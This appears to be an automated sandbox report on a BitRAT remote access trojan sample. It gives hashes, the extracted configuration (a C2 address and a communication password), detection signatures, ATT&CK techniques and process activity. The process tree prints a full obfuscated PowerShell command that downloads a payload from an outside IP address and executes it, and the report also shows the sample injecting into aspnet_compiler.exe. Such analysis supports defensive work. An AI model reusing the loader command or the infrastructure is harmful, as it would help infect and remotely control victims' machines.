bitrat | d9b46632629c4859fc820c553f63130901419a511003584fd2c0ab468db5e5cc

General

Target

135.148.74.241_HCrypt/PS1.hta
Size

3KB
MD5

37f9dc388fedc16b308acaadc34c2054
SHA1

25c936c0b399b82ad39363f6237fd5db13369bda
SHA256

f30cba9be2a7cf581939e7e7b958d5e0554265a685b3473947bf2c26679995d3
SHA512

f7a335e8b559079ea7b8d8d9341f0d13e3b7c23af4858d87f350df698f2580e83a7c3e84a69cdb003f83b68127a45943cfbb5cd11c44cc3a8446fb30ace85fc4

Score

10^/10

bitrat persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://135.148.74.241/PS1_B.txt

Extracted

Family

bitrat

Version

1.38

C2

135.148.74.241:8080

Attributes

communication_password
f1c1592588411002af340cbaedd6fc33
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

23 3744 powershell.exe
45 3744 powershell.exe
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

flow	pid	process
23	3744	powershell.exe
45	3744	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1408-146-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/1408-147-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/1408-149-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

aspnet_compiler.exe

pid process

1408 aspnet_compiler.exe
1408 aspnet_compiler.exe
1408 aspnet_compiler.exe
1408 aspnet_compiler.exe
1408 aspnet_compiler.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3744 set thread context of 1408 3744 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
1408	aspnet_compiler.exe
1408	aspnet_compiler.exe
1408	aspnet_compiler.exe
1408	aspnet_compiler.exe
1408	aspnet_compiler.exe

description	pid	process	target process
PID 3744 set thread context of 1408	3744	powershell.exe	aspnet_compiler.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

WaaSMedicAgent.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3744 powershell.exe
3744 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 3744 powershell.exe
Token: SeShutdownPrivilege 1408 aspnet_compiler.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

aspnet_compiler.exe

pid process

1408 aspnet_compiler.exe
1408 aspnet_compiler.exe

pid	process
3744	powershell.exe
3744	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeShutdownPrivilege	1408	aspnet_compiler.exe

pid	process
1408	aspnet_compiler.exe
1408	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

mshta.exepowershell.exe

description	pid	process	target process
PID 3432 wrote to memory of 3744	3432	mshta.exe	powershell.exe
PID 3432 wrote to memory of 3744	3432	mshta.exe	powershell.exe
PID 3432 wrote to memory of 3744	3432	mshta.exe	powershell.exe
PID 3744 wrote to memory of 1408	3744	powershell.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 1408	3744	powershell.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 1408	3744	powershell.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 1408	3744	powershell.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 1408	3744	powershell.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 1408	3744	powershell.exe	aspnet_compiler.exe
PID 3744 wrote to memory of 1408	3744	powershell.exe	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\135.148.74.241_HCrypt\PS1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3432

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://135.148.74.241/PS1_B.txt';$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'.RePlace('---------',''),'**********s**********t**********r**********i**********n**********g**********'.RePlace('**********',''),'sss+Dsss+osss+wsss+nsss+'.RePlace('sss+',''));$HBB=('{2}{0}{1}' -f'---------e---------B---------c---------l---------'.RePlace('---------',''),'---------i---------e---------n---------t---------'.RePlace('---------',''),'---------Ne---------t---------.W---------'.RePlace('---------',''));$HBBB=('{2}{0}{1}' -f'------w-o------B------j------e------c------t $------H------'.RePlace('------',''),'------BB------).$H------B(------$H------x)------'.RePlace('------',''),'------I------`e------`X(------Ne------'.RePlace('------',''));$HBBBBB = ($HBBB -Join '')|InVoke-exPressioN
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3744

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1408

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe aed221520e0f14fb3027394fae42bfb3 C25sboTFCk+5gsrP8JQ7OQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:3944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:2684

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1408-146-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1408-149-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/1408-147-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/3744-140-0x00000000068C5000-0x00000000068C7000-memory.dmp

Filesize
8KB

Download
memory/3744-142-0x00000000080A0000-0x00000000080BA000-memory.dmp

Filesize
104KB

Download
memory/3744-137-0x0000000006E80000-0x0000000006EE6000-memory.dmp

Filesize
408KB

Download
memory/3744-138-0x0000000007530000-0x0000000007596000-memory.dmp

Filesize
408KB

Download
memory/3744-139-0x0000000007A00000-0x0000000007A1E000-memory.dmp

Filesize
120KB

Download
memory/3744-132-0x0000000004250000-0x0000000004286000-memory.dmp

Filesize
216KB

Download
memory/3744-141-0x00000000091B0000-0x000000000982A000-memory.dmp

Filesize
6.5MB

Download
memory/3744-136-0x0000000006CB0000-0x0000000006CD2000-memory.dmp

Filesize
136KB

Download
memory/3744-143-0x0000000009010000-0x00000000090A6000-memory.dmp

Filesize
600KB

Download
memory/3744-144-0x0000000008FA0000-0x0000000008FC2000-memory.dmp

Filesize
136KB

Download
memory/3744-145-0x0000000009DE0000-0x000000000A384000-memory.dmp

Filesize
5.6MB

Download
memory/3744-135-0x00000000068C2000-0x00000000068C3000-memory.dmp

Filesize
4KB

Download
memory/3744-134-0x0000000006F00000-0x0000000007528000-memory.dmp

Filesize
6.2MB

Download
memory/3744-133-0x00000000068C0000-0x00000000068C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads